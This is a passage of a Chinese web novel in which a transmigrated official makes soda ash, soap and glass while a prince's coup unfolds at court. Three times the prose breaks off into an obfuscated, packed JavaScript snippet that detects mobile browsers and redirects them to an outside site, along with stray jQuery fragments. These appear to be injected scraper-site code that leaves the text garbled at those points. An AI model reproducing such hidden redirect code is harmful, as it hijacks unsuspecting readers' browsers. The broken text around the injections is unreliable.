韩濯看着那张大成,那神色说不上欣喜,也说不上难过,看起来分外古怪,嘴唇颤了颤,似乎有什么话要说出口。 张大成完了,韩濯想道,莫不是他真对李三三有点意思,这样的话,如若按着李三三说的结成兄妹,日后他二人就再无可能了。 韩濯忍不住道:“张兄,你有什么话不妨今日说出来,你若是不愿意......” “我愿意!” 韩濯愣住了。 张大成抬起头道:“能和三三姑娘义结金兰,实在是我毕生之幸,我茕茕孑立这么些年,早就忘了有父母兄弟的滋味,三三姑娘,你若是真的愿意,我定然......” “那还费什么话!”李三三乐道:“来!” 说着,将面前两只脸大的碗斟满浊酒,递给张大成。 “我,我......” 张大成似乎有些语无伦次,韩濯探寻他的表情半天,这似乎叫......激动? 李三三似乎觉得这人实在不堪事,一哂道:“出息。” 随后,她与张大成共同面朝北方道:“祖师爷爷,祖师奶奶,我李三三与张大成今日结为......”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991758|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>说着,她停顿了一下,皱眉道:“说好了,我当姐姐。” 啊? 周围的人也一阵嘀咕:“这不成吧,眼瞧着张先生要成熟不少啊,怎么......” 这红巾军头子看着至少比这黄毛丫头大十岁! 李三三不满道:“怎么?我又不知道我生辰,当姐姐有什么不合理的么?” “义姐!”张大成答得干脆。 韩濯大受震撼。 二人同将那一碗酒饮尽,自手中掷出,两只碗在有些湿润的尘土中摔得稀碎,发出清脆的响,周围围观的群众也拍手叫好,都说今日见证一桩天成好事。 可宋青瑛隐约看见,张大成看着李三三与人胡诌的侧脸,微笑间恍惚眼底有泪。 “今日殿下可还尽兴?” 月明星稀,二人已回到住处,宋青瑛却赖在韩濯房中,迟迟不肯回去睡。 宋青瑛点了点头,趴在桌子上盯着韩濯,下定决心道:“清之也累了,我再陪你说说话就回去。” 韩濯一边整理手稿书册一边背对着他笑道:“又不是见不到了,都回来三天了还没腻够?” 宋青瑛站起身,喃喃道:“不知道什么时候,我又要走了......” 韩濯疑惑回头:“你最近在忙什么,总是愁眉不展,那天你那小侍从秋迟还说你总是睡不好觉。” 见宋青瑛不语,韩濯讶道:“你真睡不好觉?有什么难处,说来听听。” 见他犹疑,韩濯又补充道:“算了,你有些事我不方便窥探......” “不是。”宋青瑛立刻道:“不是什么大事,只是一桩生意,我不想累你烦心。” “哪里的话,”韩濯道:“若是我帮不上忙,我烦心也没用,我自然不会为难自己,若是能帮上忙,岂不是皆大欢喜?” 宋青瑛笑了笑:“也不是什么大事,只是我一直想找一个别国商人合作,打通与北方各族的商路......” 韩濯奇道:“你爱吃牛羊肉还是怎么的?北边那些游牧民族除了放羊就是南下打秋风,难不成有什么值得往咱们中原引进的?” 宋青瑛道:“北方幅员辽阔,矿石便有不少,生意有的做。” 韩濯并未疑心,震撼道:“我的天,殿下实在出息,生意都做到矿产上去了。” 宋青瑛道:“只是我诚心想与那商人合作,他却从未给我准信,他捣鼓的都是新鲜玩意,把我们的丝绸,贵族沐浴用的香胰子,香粉什么的倒卖过去,什么新鲜他倒卖什么。” 丝绸?香皂? 韩濯心里有了计较,道:“你着急么?” “什么?” “我倒是有办法。” 宋青瑛讶然,随后作势一拜道:“请大人指点。” 韩濯笑着扶起他,道:“他爱捣鼓新鲜玩意,我们就做新鲜玩意给他。” “清之这是何意?” “如果说我有办法做出更好用的香胰子,另外还搞得出别的花哨东西,他是不是就乐意与我们坐下来谈谈?” 宋青瑛喜道:“清之做得出来?” “可以试试。”韩濯道:“正好岁修刚结束,我有时间折腾,殿下信不信得过臣?” “自然。”宋青瑛终于露出喜色,似乎韩濯一番话给他吃了一颗定心丸一般,千恩万谢后才告辞,欲转身回房。 “等一下。”韩濯叫住了他。 “你......你最近如果睡不好,要不今晚在我这儿凑合一下?” 宋青瑛以为自己听错了,不可置信道:“什么?” 今天难不成交了大运,先是生意有了眉目,之后又来这么一出,实在是意外之喜。 “若是不愿意凑合就算了,我还是......” “愿意!”宋青瑛立刻答道。 看着宋青瑛一脸拼命掩饰也藏不住的欣喜若狂,韩濯没提防咬了舌头,补充道:“别多想,睡素的。” 不管荤的还是素的,宋青瑛今晚是决计睡不着了。 50. 香皂琉璃 “什么东西?你再说一遍!” 韩濯忙安抚道:“大早上的吼那么大声做什么?再说了你们大夫什么屎啊皮啊肠啊肚啊结石啊都能入药,我如今收集些尿液粪便有何不可?” 李三三道:“这怎么能一样!你要的也太多了,你要干什么?我告诉你啊子不语怪力乱神,童子尿辟不了邪的。” 韩濯无语道:“谁说要童子尿了,人的马的都行,我用来做胰子。” 李三三不防“哕”了一声道:“用这玩意做胰子,口味重了点吧......” “当然不是直接拿来用,只是需要获得氨......算了之后再解释,你到底能不能弄来?” 这种原材料究竟腌臜,韩濯到底有点抹不开脸。 李三三叹了口气道:“你怎么什么事都来找我,你找个倾脚头买不就成了?” 对哦。 倾脚头,其实就是大齐挨家挨户收集秽物,再倒卖到农家作肥料的“清洁工”,韩濯只想着纯碱的制备工艺,倒是忘了这一茬,好在去年岷江堰初开之时,韩濯分外关注蜀州农作,找个倾脚头并不难。 正说着话,宋青瑛端着两碗刚煮好的姜汤面经过,见了李三三惊讶道:“三三怎么来了,进来用些早膳吧,我再去盛一碗。” 李三三本想推脱,但看着鲜亮澄黄的一碗也食指大动,毫不客气地坐了下来。 “还想教你多睡一会儿呢,怎么一大早亲手忙这些?我去盛吧,阿瑛歇息一会儿。” 见韩濯走远,李三三便毫不避讳地端详起宋青瑛的脸来。 眼下隐隐乌青一片,神态有些疲倦,明显没睡好。 由于脑子里还想着那桩生意,不时微微皱着眉头,而这些到了李三三眼里可就是另一番意思了。 “你......” 正要开口,罪魁祸首韩濯神采奕奕端了一碗面出来,放到李三三面前:“吃吧,我瞧这里面还放了阿瑛从江南带回来晒过的海货,咱们这儿吃不到新鲜的,多亏了殿下才能打打牙祭,喏,多了没有啊!” 李三三皱眉道:“这面是殿下亲手做的?” “是啊。”韩濯理所应当道:“快尝尝!” 她只顾着吃,姜汁浓郁,配着里面放的毫不吝啬的海货简直鲜掉眉毛,她倒是吃美了,没瞧见李三三一言难尽的表情。 “我说你是不是有点过分?” 韩濯茫然抬头:“什么啊,刚才我不是说自己找倾脚头不用你了吗?再说都留你吃早膳了,吃人嘴短你......” 李三三为宋青瑛不平起来,对着“二缺驸马”道:“谁说这个了,殿下你瞧瞧你瞧瞧,有这么不会疼人的吗?” “啊?”韩濯和宋青瑛同时茫然道。 李三三恨铁不成钢:“我说你啊身体还没长成,怎么就能由着她胡来,多伤身啊,还有你!你看看你把殿下折腾成什么样了?就刚才这么一会儿功夫就神游两三回了,累一晚上还要起来给你洗手做羹汤,你自己想想这对吗!?” 韩濯一开始还不明就里,听到后来也知道李三三想歪了,受了好大的冤枉,不由得将目光移向宋青瑛求助,谁知宋青瑛被说得耳尖通红,连带着脸颊都仿佛上了一层胭脂一般,低头垂眼光顾着羞涩,根本没和韩濯的眼神对上。 苍天啊!这不是变相捶死了自己的流氓行径? 千古奇冤! 李三三仍不解气,道:“我看你哪里用得着买屎买尿,自己晃晃脑袋就能从耳朵里倒出来......” 韩濯恼怒道:“我在吃饭!” “买......什么?”宋青瑛嘴里说不出那个字,询问时卡了一下壳。 “这不重要。”韩濯微笑道。 虽然长宁公主身上很香。 但韩濯决定以后非必要还是不睡一块儿了。 / 堆肥发酵的过程,韩濯不想赘述,也不愿回忆。 普通堆肥要的是那堆看得清的湿润干货,韩濯堆肥,为了把产生的气体通到盐水中,最后再通石灰石煅烧产生的二氧化碳,反应成小苏打,烘干煅烧后最终得到纯碱。氨气有一定毒性,韩濯已万分小心,但仍有时泄露出来一点,逼得她一边嗓子痛一边加紧密封。 每日浸淫在刺激的气味中,已经有些麻木了,这种味道和单纯旱厕的臭还不一样,带着十足的恶意惹人眼眶含泪,非要教人丢盔弃甲不可。韩濯下工时迫不及待奔向苍翠的山林,狠狠呼吸一口来自亲爱大自然的清新,感动得热泪盈眶,回家途中一路疑神疑鬼,深刻怀疑入鲍鱼之肆会不会嗅觉失灵,总觉着自己一身排泄物的味儿,回家定要趁没见宋青瑛之前把换下的衣物连同自己狠狠搓洗几遍。 她在心中对几个抽出来时间帮忙,有堆肥经验的大伯大娘佩服地五体投地。 宋青瑛特意搞来了窑炉,煅烧石灰的气体通进氨盐水里,看上去和普通水也没什么差别。韩濯特意嘱咐,煅烧石灰留下的白色残渣收集起来,日后有大用。 “梅雨季靠它,能舒服不少,对了殿下,我觉得想办法妥善储存这生石灰,将来能做加热包,保温加热,值得推广。” 然后宋青瑛看着韩濯将这白色的东西投入冷水,不一会儿就引得水开沸腾,她碰到了碗沿被烫了一下,一边蹦一边道:“哎呦好烫,要不殿下搞个碗放在上面来煮点细面,莫浪费了。” 最后细面还夹生着,那点可怜的生石灰便用完了。 当最后一步煅烧完成,韩濯捧着那不大的一包白色粉末,热泪盈眶。 “就这?”李三三鄙视道。 韩濯怒道:“你这人怎么回事,总是打消人积极性!你知道这东西用处多大么?而且你的病人日后若是有胃气要降,只管稀释些这个就好,比你那泻心汤见效快。” 李三三立时不吱声了,要了一点带回去研究。 宋青瑛在屠户那里买了些猪板油,依着韩濯的意思在厨房里炼了起来,剩下的油渣还被韩濯带去做了回下酒小菜,碱水,猪油,盐水被倒在一处搅动,神奇地从一锅稀里咣汤的玩意变成了粘稠的膏状物。 “这个放在模子里定型,几日便成型。” 宋青瑛看着韩濯变戏法一般搞出了胰子,仔细瞧了又瞧:“看着好像是比目前流通的要好,但似乎也没找到更多妙处......” 他说得委婉,但韩濯立时明白了:“这其实是最基础的,若要品相好,卖得高,可以添些花瓣香脂香料,再做几个好模子,形状别致些,对了殿下,不如设计一个logo......咳,招牌标记印在上面,叫胰子我总是 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宋青瑛赞成道:“的确,若是能做大,不能长时间靠这几种光看着漂亮的基础样式,定要常常推陈出新才成。” 说话见,他无意间瞟到了韩濯的手,心里不由一紧。 韩濯未察觉宋青瑛的目光,仍然在和李三三掰扯药皂的款式功能,待李三三起身告辞,才发现宋青瑛表情不对。 “阿瑛?” 宋青瑛没说话,拉起了她的手。 韩濯的手因着这磨人的岷江堰工程而冬日粗糙开裂,添了些小疤痕。而眼瞧着又添了新伤,宋青瑛明明记得昨日还好好的。 “怎么弄的?” 她手心烫了大大小小六七个水泡,有的已经破了,表皮皱巴巴硬邦邦,韩濯尴尬地抽回手道:“已经找李三三敷过药了,不打紧。” “你不是说会珍重自己么?”宋青瑛语气不由得带了点质问:“昨日也没有用窑炉,而且用之前也没烫到过,你又干了什么,怎会伤成这样?” 韩濯被宋青瑛这么一说,心虚之余带了点被小孩管的尴尬:“又不是大伤......” “好,我明白了,非要被捅个窟窿才算大伤。” 殿下好像是有些生气。 韩濯想道。 宋青瑛垂着头,突然被一种流光溢彩的东西晃了一下眼睛。 他抬头,看见韩濯手中拿了根通体透明的发簪,簪体似乎是两股琉璃交缠而成,十分别致,只是一粗一细,工匠似乎学艺不精,看着有些粗糙。 韩濯尴尬开口:“其实......是想做得更好些再送你的,我第一回做这个,手笨了些,殿下别嫌弃。” 宋青瑛心头一震。 石灰石,河沙,制好的纯碱,成了烧制这琉璃的原材料。 韩濯第一个做给他了。 “你不喜欢么?” 宋青瑛看了韩濯良久,道:“我喜欢,也不喜欢。” 什么叫我喜欢也不喜欢? 韩濯不明白,也搞不懂宋青瑛什么意思,他的心思向来难懂,深得和海底针似的。 宋青瑛没谢她,也没再责问她,只是沉默着上前,把她抱紧了些。 近乎璀璨的夕阳里,韩濯听见了他轻得几不可闻的叹息。 51. 风云暗涌 西京的天气虽然已经渐渐热了起来,但晨光熹微之时,仍带着露水的寒气,天边两三点星子暗淡地闪着,等在午门外的官员们都睡眼惺忪,唯有相互打照面时才拱拱手迅速扯出僵化的笑来,互称各种“大人”的声音零零散散洒落在将尽的疏冷寒夜。 崔倍特意挑了一个远离人群的地方发愣,这一年多来他仕途堪称平顺,却也乏善可陈。他温和谦逊,风评是极好的,但外人看来他性子过于寡淡古板,不爱与人交往亲近,背后又没什么可攀的势力不说,现下还领了一个专门挑刺的左司谏之职。故他与各种“大人”们只是点头之交,韩濯离京将近两载,书信虽通,却也难再寻知己在侧的畅快,不由有些苦闷。 听闻韩濯在灌州重修岷江堰,收效颇丰,又预备上疏朝廷设立专司官制,崔倍固然格外上心些,可这些日子圣上身体抱恙,推了几日的早朝,自己一时也没机会提起此事,他想着想着,强行眨眨眼睛抖擞精神,准备在今日请奏。 就在此时,一阵清脆的马蹄声由远及近,划破寂静,众人愕然,瞧向来人时,都纷纷吸了一口凉气。 来人身披银甲,武将打扮,眉目间几分敛不住的戾气,正是永王。 他身边跟着一个年级不大的小武将,高声道:“圣上身体不适,托殿下传话,今日早朝便罢了。” 诸臣面面相觑,窃窃私语,皇帝罢朝,却派永王传话,这是什么规矩? 崔倍皱了皱眉头,饶是他不喜拉帮结派,更不爱惹朝堂是非,也品出了一丝不寻常。 诸臣虽心里犯嘀咕,却没一个敢触霉头,谁不知道这永王是个不好相与的煞神,惹皇上都别惹他。 永王也不多话,传完了话便转身策马欲走,却忽听得身后传来听着温吞吞的嗓音。 “敢问殿下,圣上究竟身患何疾?” 一言出口,原本窃窃私语声骤然静了下来,众人都住了口,去瞧那不怕死的是谁。 永王意外地挑了挑眉,回头看去,立在下面的是一清癯的年轻文官,官服对他来说有些松垮了,看颜色品阶并不高。 身旁的小武将低声道:“这是左司谏崔倍崔大人。” 永王听闻,眉头微微舒展开,仿佛是想起了什么有趣的事,神色有些玩味。 “你就是那位崔大人?” 崔倍皱了皱眉头,不记得自己与高高在上的永王殿下有什么故交,仍不卑不亢道:“在下确是姓崔,但不知是不是殿下口中的那位,‘大人’二字不敢当。” 永王竟然牵起嘴角笑了笑,竟没针锋相对,盯着崔倍的腰身瞧了瞧,道:“传闻倒不假。” 崔倍心里疑惑,但半步未退,仍道:“还请殿下向诸位言明,圣上究竟身患何疾,现下情况如何?” 永王睨着下方的崔倍,嘲弄道:“圣上有疾,自然是太医院负责调理,大人何必操些没用的心?” 说着策马欲走,崔倍一瞧,那股一根筋的劲的老毛病犯了,不依不饶大声道:“圣上口谕,向来是陈公公代传,怎有殿下代劳的道理?何况殿下午门外策马疾驰,如此行事,礼数究竟不周了些。” 众臣皆惊,谁不知永王军功卓著,皇上有时都要瞧亲儿子脸色,这直肠子的小小言官胆子实在太大! “礼数?”永王的声音带了些不屑。 “本王这些日子亲侍父皇左右,日夜忧心,未曾离开半步,大人你屡屡为难阻碍本王,耽误本王为父皇侍疾尽孝,到底是本王不知礼数,还是大人居心不良?” 崔倍还欲再辩,却被身后一人扯了扯袖子,他偏头去看,见那垂首轻轻摇头的,正是同门旧友陈子衿。 见崔倍不再言语,永王冷哼一声,扬鞭策马离去。 “陈师兄,你……” 陈子衿待人潮渐渐散去,才低声道:“师弟,这个时候人人风声鹤唳,独善其身,你一届清流,既不结党,为何偏偏要与那永王过不去?” “我并非与永王殿下过不去,”崔倍解释道:“只是圣上已多日未亲自临朝,我心中忧虑,想问个明白罢了。” 陈子衿摇头叹道:“师弟啊,你难道真的对如今朝中形势一无所知?” 崔倍有些惊讶道:“还请师兄赐教。” 陈子衿左右看了一圈,将他领到了角门僻静处。 “师兄知晓你与韩家二公子关系亲厚,那你可听说,圣上前些日子下旨念及英武侯驻边辛苦,特召其妻女回京,入宫暂住?” 崔倍思索一阵:“太子妃方诞下一子,算来将要满月,召英武侯夫人回宫,妇人之间也能说说体己话,有何不可?” 陈子衿连连摇头:“这哪里是圣上的意思明明是永王的意思。” 崔倍惊道:“这是何意?” “永王战功赫赫,近年来朝中威信比之太子水涨船高,师弟不妨想想,他们二人真会兄友弟恭?从前国舅爷仗着圣宠,没少弹劾永王,你怎知这不是太子殿下的授意?更别提半年前永王又立了战功,庆功宴上却突然吐血中毒……永王自然咽不下这口气,如今这些日子来太子那边反常地消停,我看这是要变天了……” “那这与英武韩家何干?” 陈子衿长叹一声:“如今整个大齐的军权,都掌握在永王和韩家手中,永王若想翻身,自然首要保证韩家不会插手,这英武侯妻女入京明面是恩赏,实则是永王挟家眷为质,教英武侯不敢妄动,算日子她们应当也快到京城了……诶,子盛,子盛!你干甚么去?” 他话还未说完,崔倍便一张纸一般迅速飘走了,招呼都没打一个,只留下一个急匆匆的背影。 永王和韩濯之间的龃龉他是明白的,这一番动荡与韩家息息相关,自己若不通风报信,万一她牵扯进去该如何是好? / 宋青瑛嘴上说舍不得,人走得倒快,走的时候琉璃发簪还插在发间,晨光下露水一样璀璨又脆弱。 重逢固然欣喜,可临别次数太多,韩濯早就习惯了,宋青瑛不在的日子里她几乎三点一线到任点卯,按时带人测量水位,写枯燥无聊的报告......京城的日子是什么滋味,她早就忘了,好像自己生来便生在灌州长在灌州,见固定的人,干固定的事,倒腾些突发奇想的小玩意,改良制碱流程,和李三三一起研制药皂,帮大爷大娘造水车,教村口的两个小姑娘打架。没事了去深山里转上几圈,偶尔碰见几座东倒西歪的古庙,里面摆放着不知名姓,无人参拜的神明。 韩濯有一次盯着看了很久,一直看到天际金色的余晖渐渐被夜幕吞没,才慢慢下山回家。 人脑子空闲下来,就容易想一些有的没的。 连神仙都会因这样那样的原因被抹去痕迹,何况人呢? 老天教她落入这个时代,又到底是教她参悟什么机缘,那个不知身在何处的同乡又是死是活? 韩濯从前玩过一些网游,一开始总是充满激情,每日开荒跑图过剧情打boss拉练度,有时肝到凌晨两三点,但地图开完了,世界建造好了,活动迟迟不更新了,韩濯便会渐渐空虚下来。惊觉曾经梦寐以求肝出来的练度到手之后竟然是如此乏味无聊,一边唾弃沉迷游戏浪费时间的自己一边在某鱼上把自己满级游戏号卖掉。 韩濯觉得现在自己的状态,和当初通关满级后有一些相似。 这日子并非不好,只是太安逸了,等待宋青瑛消息的日子乏味地淡出水来,韩濯真想把交接工作做好,然后跑到其他地方开荒搞基建。 好在一个多月后传来了宋青瑛的好消息。 韩濯几乎是激动地组织人进行大批量香皂和琉璃瓶的生产,一旦忙起来,便也没心思想什么别的,盯着一筐一筐的香皂琉璃离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028450|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灌州,韩濯终于找到了一点曾经浑身绷着劲儿的感觉。 “二公子。” 这日,韩濯照常巡查工人制皂,被身后的吴钩叫住了。 “您的信。” 韩濯初时以为是宋青瑛寄来的,料定他是写信告知此次归期,刚准备随便当场拆了,却听吴钩犹豫道:“是......侯爷那边的信。” 韩濯捏着信的手骤然一顿。 这么些日子过去,韩胤那边只在夫人产女时来过一回信报喜,毕竟他二人之间恩也好怨也罢,乱七八糟理不清楚,还未曾计较明白便各自奔前程,大大小小的问题就这么晾着没着落。 他突然来信,到底是为的什么? 韩濯没犹豫太久,寻了个僻静角落将信拆开细看。 那信是以侯爷的名义送来的,观其内容,却明显是嫂嫂亲笔写就。 入宫暂住? 韩濯皱了皱眉头,这信写得规规矩矩,不过将皇上的“恩赏”讲了一遍,可越是没有异常便越反常。 嫂嫂写信,就为了和自己讲这个么? 韩濯又读了一遍,在信的末尾一段停了下来。 “去岁冬月,雁关大雪,侯爷突发旧疾,呕血不止,永王殿下遣人送百年灵芝并珍稀药材至雁关,方保住性命,然沉疴难医,今春方愈,如今已无大碍,请小叔勿念。” 最后有一句:“宝剑虽沉匣,但终有明日,纵身处江湖之远,亦应收敛锋芒,珍重己身。” 韩胤生病,永王送药?自己和永王早就撕破脸了,永王会那么好心帮韩家? 自己与嫂嫂只打过几次照面,勉强算是认得模样长相,她的性子为人,韩濯一概不知,纵然长嫂如母,但提点自己的这两句未免交浅言深,其中到底有何深意? 韩濯若有所思地摩挲着信纸,突然顿住了,仿佛发现了什么玄机。 她对着阳光眯起眼睛细察,随后环顾四周,从怀中掏出一把极薄的裁纸小刀来。 她裁得很细致,约莫一炷香的时间,便从信纸的夹层中摸出一个小字条来,上面的字迹墨色浅淡,细如蚊蚁,竟是崔倍的字迹。 她对着光勉强读了起来。 少顷,韩濯倏地站了起来,浑身发冷。 永王这是要反! 嫂嫂还说什么要自己收敛锋芒...... 分明是韩胤要顶着擅离职守的罪名回京! 永王若是真反,韩胤阻得了么,何况断雁关十万韩家军若跟着他回京,那便和造反无异了,为了韩家声名,以韩胤的脾性也不可能这么做。 可他孤身回京有个屁用!韩濯心中暗骂,除非...... 韩濯想起永王送的药,一阵恶寒。 除非韩胤本来便没打算活着! 韩濯想通这层,瞬间后背冷汗涔涔。 恍惚间,韩濯听见有人焦急地唤她,她下意识迅速将信纸撕碎揉成一团,抬头才反应过来,这声音明显是宋青瑛。 远方密林间跃出一匹骏马,宋青瑛正伏在马背上,见了韩濯并无欣喜,焦急道:“快闪开!” 两支羽箭几乎是贴着宋青瑛的脸颊射了过去,韩濯来不及细想宋青瑛怎么突然回来,竟连个招呼也不打,神色一凛,足尖轻点,迎上前来。 她身法奇快,须臾之间便到了骏马身侧,近乎轻巧地将宋青瑛从马背上摘了下来,顺手抽出刀,打落了两支又一次射过来的羽箭。 两个弓箭手从密林中现身,韩濯瞧准了位置,身手快如闪电,手起刀落,呼吸之间便将两人砍翻在地。 “还有么?”韩濯沉声问道。 “不知。”宋青瑛一边急促喘息一边道:“我今早刚进城便被人盯上了,我甩掉了四个杀了两个,不知一共几人,清之,我们得快走。” “西京出事了。” 52. 帝王之心 韩濯自然明白西京出的是什么事,拉起宋青瑛的手道:“走!” 不远处的吴钩听见一阵铁器摩擦之声,便向二人这边奔来,韩濯朝他道:“来不及解释了,吴钩兄弟,劳烦带上我们的人,通知李三三和阿信,收拾细软,立刻回京!” 宋青瑛急促道:“我们人少力单,纵使你有以一敌百之力,到了西京也难成事,清之你先等一下。” 韩濯清楚自己的斤两,何尝不知现在回京便是要闯龙潭虎穴。若是宋青瑛不回来,兴许还能静下心筹谋一二,可如今宋青瑛回来了,还带着一溜儿的追兵,叫她如何能不急躁? “阿瑛。”韩濯沉声道:“无论如何此地不宜久留。你清不清楚,那些人为何要追杀于你?” 宋青瑛一愣,他本以为自己被追杀是因为怀中所藏之物,可细想来却有些可疑,早不追晚不追,倘若自己在西京便走漏了风声,为何进了灌州城才招致祸端? 看韩濯的样子,应当已经收到信笺,知道了永王和韩胤的事,本来并未有动作,但她见了自己后如此着急回京,是在…… 宋青瑛多年之前的担忧终于成了真。 如果永王知道了自己的秘密,他又会怎么做? 永王最为暴戾专横,他自己欲弑兄夺位,即便宋青瑛无权无势,可他作为凭空冒出来的皇弟,未免夜长梦多,怎能容他?他如果不是女人,就合该在身份未大白于天下之时死个干净。 宋青瑛猛地直视韩濯,惊出一身冷汗。 “我们先找个地方,至少先离开灌州再从长计议。” / 漫天星斗暗淡幽微,宫内古槐簌簌投下一片模糊树影,凉夜无风,一派寂静里恍若虚幻死境。 长生殿大门紧闭,偌大的殿内外竟无一宫人侍奉,可若是走近,便能听见寝殿之内漏出几丝喘咳之声。 若是那些半月未见天颜的大臣们瞧见床榻之上的人,定会大吃一惊。 安平帝的精气似乎全在这半月里耗光了,形容枯槁,面颊凹陷,几乎是面皮贴着颧骨,一双浑浊的老眼突兀地在眼眶中微微颤动,灰白稀疏的乱发草草地挂在头顶,哪里有曾经那九五至尊的威严模样。 他的喘息声仿佛破风箱,“呵呵”作响间突然疾风骤雨般咳了起来,仿佛要把最后一点生机都呕尽。 旁边一只粗糙的手将他的身子轻轻翻了过来,拍着他的后背,好教人吐出那一口抑在喉间的浓痰来。 安平帝平复下来,缓缓躺了回去,空睁着眼,喃喃唤道:“叔弼......” 身旁那人闻言跪答:“臣在。” 安平帝勉强侧过头,看着那人垂首之态,忽而长叹一口气:“你也老了......” “臣今年已五十有六。” 安平帝呼吸片刻,梦呓一般道:“这么多年了......朕还记得,当年朕还是秦王之时,你一身青衣在树下向朕行礼,少年意气,风流如画,朕一直记到现在。” “臣承蒙陛下垂爱,诚惶诚恐。” 安平帝叹道:“叔弼啊,朕怕是没几日好活了,你...别再讲究些君臣之礼......咳咳...你再抬头看看朕。” 塌下的人抬起了头,他眼角面颊都带着深深的皱纹,可眼神却锐利清明,不见老态:“陛下寿与天齐,不过是偶感风寒罢了,过几日定会痊愈。” “你我风里来雨里去,亲厚甚于兄弟,你真当自己糊弄得过朕?” “臣不敢。” 安平帝眼中的光彩似乎明暗闪烁:“朕弑兄弑弟才坐上这个位置,庸碌一生,未尝有一刻不受熬煎......不曾想今日会报应在湛儿身上......” “陛下登基,是承载天命。” 安平帝笑了两声,又道:“当年朕险些落败,困于破庙,数日水米未进,几欲昏厥,卿亲自割股喂食,活朕一命,后带伤携朕突围,血流不止,险丧性命......叔弼啊,朕受你血肉之恩,永志不忘。湛儿他是朕属意的太子,绝无更改之意,朕只要在一日,卿的妹妹便做一日中宫皇后......” 是么。 王公辅面无表情地想道。 若自己年轻个二十岁,怕是真会痛哭流涕拜谢君恩,可现在,他已分不清这天下最尊贵的人口中,是真情流露还是笼络人心。 既然真的属意宋乐湛继承皇位,又为何曾在庆功宴上对宋钺说什么“当以汝为太子”? 堂堂安平皇帝,竟也要看永王的脸色,拉拢人心,费尽心机地讨好自己的亲儿子。 藏刀的蜜糖,伪装的深情。 不过是不舍这把好用的宝刀罢了。 其实九五至尊也不过是肉体凡胎,王公辅看着他,病弱,老迈,苟延残喘。 最终他还是不动声色道:“臣不敢居功。” 安平帝的老眼直了一会儿,二人就这么沉默着听更漏响。 店外传来三声更鼓,声音离人很近,催促似的。 “陛下,臣该告退了,永王殿下只准了臣一个时辰。” “叔弼!” 王公辅复又跪下,听安平帝咳了几声道:“还劳国舅……保下太子。” 他是真的属意宋乐湛这个面慈心软的废物继承大统,还是不甘真的被自己的二儿子逼下位子,在史书里窝囊千百代? 又想儿子乖乖卖命,又想他毫无野心,无怨无悔为他人作嫁衣裳,天底下没有这么便宜的事,一纸空文的甜头给久了,会忘记自己养的是一架喂不饱的鹰隼。 如今这鹰隼反噬了。 他是自作自受。 “臣定竭尽全力。” 安平帝喉咙滚动,艰难地咽下一口浊气,对他的背影道:“叔弼…你能不能再叫朕一声‘殿下’?” 王公辅停下了脚步,却没回头。 “陛下该歇息了。” 离去的脚步声在殿内回荡,撞破宿雾千重。 / 雨夜,米仓客栈。 汉中往西京的咽喉要道上有一米仓镇,镇子不大,只有这一家客栈,故走这条路的行客出入京城,都会在这儿下榻,长此以往,米仓客栈在来往各地的行脚商处也算小有名气。 最近西京并不太平,前些日子西京城门还派了重兵把守,出入都需严格的身份证明,坊间多多少少有了一些传闻,曾经人人趋之若鹜的西京现下却没几个商队乐意出入,生怕被这一摊浑水搅了进去。因此,这往日还算热闹的米仓客栈五日以来都冷冷清清。 店小二趴在桌子上,脑袋一晃一晃地打着盹儿,窗外风雨凄紧,时有几声闷雷,弄得他时睡时醒。为了省灯油钱,米仓客栈也并未燃烛,一片漆黑里时有几道闪电划过,屋内明灭交错,照得人心里发慌。 突然间,店门豁然打开,雨声骤然大了起来,破门而入的一阵狂风将店小二吹了个激灵,他瞧向门口,被眼前的场景吓得心里打了个突儿。 一道闪电划过,照亮激烈雨线中门口立着的四个高矮不一的黑衣人,腰间佩刀,皆以幕篱掩面,看不清面容,为首的一个手中提了个鼓鼓囊囊的袋子,一面携四人进屋,一面低声道:“两间房,四碗面送到门口,没我准许不得入内。”说着,从怀中掏出一锭沉甸甸的银子来。 小二眼睛一亮,忙不迭地答应了,方才隐约的忧惧被白花花的银子压了下去,点头哈腰地点了灯,将四人送上了楼,临走前忍不住盯着那人手上的袋子多瞧了两眼。 “怎么?感兴趣?” 那小二吓得面如土色:“不敢,不敢,您几位好生休息,我教人烧些热水,和面一并送上来,给诸位驱驱寒气。” 那人轻笑一声,也不计较,当着小二的面关上了房门。 店小二拍了拍胸口,心有余悸:那袋子里保不齐是什么人头断耳,给他一百条命也不敢有兴趣! 永王手下有一队亲卫军,名为“烛龙卫”,个个武功高强,身负奇能,皆身穿玄衣,行动如鬼魅。这些人只听命于永王,干的也都不是什么见光的活计。 鬼才会招惹这帮祖宗! 屋内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15036610|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之人见店小二走远,都纷纷摘下了幕篱。 